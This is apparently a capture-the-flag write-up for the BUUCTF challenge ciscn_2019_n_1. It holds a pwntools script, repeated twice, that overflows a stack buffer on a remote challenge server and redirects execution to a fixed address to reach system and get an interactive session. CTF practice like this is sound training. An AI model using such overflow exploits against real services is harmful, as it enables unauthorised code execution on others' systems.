BUU_ciscn_2019_n_1
ciscn_2019_n_1

覆盖v1->system地址
from pwn import *
p = remote('node5.buuoj.cn',25432)
payload=b'a'*(0x30+8)+p64(0x4006BE)
p.sendline(payload)
p.interactive()

覆盖v1->system地址
from pwn import *
p = remote('node5.buuoj.cn',25432)
payload=b'a'*(0x30+8)+p64(0x4006BE)
p.sendline(payload)
p.interactive()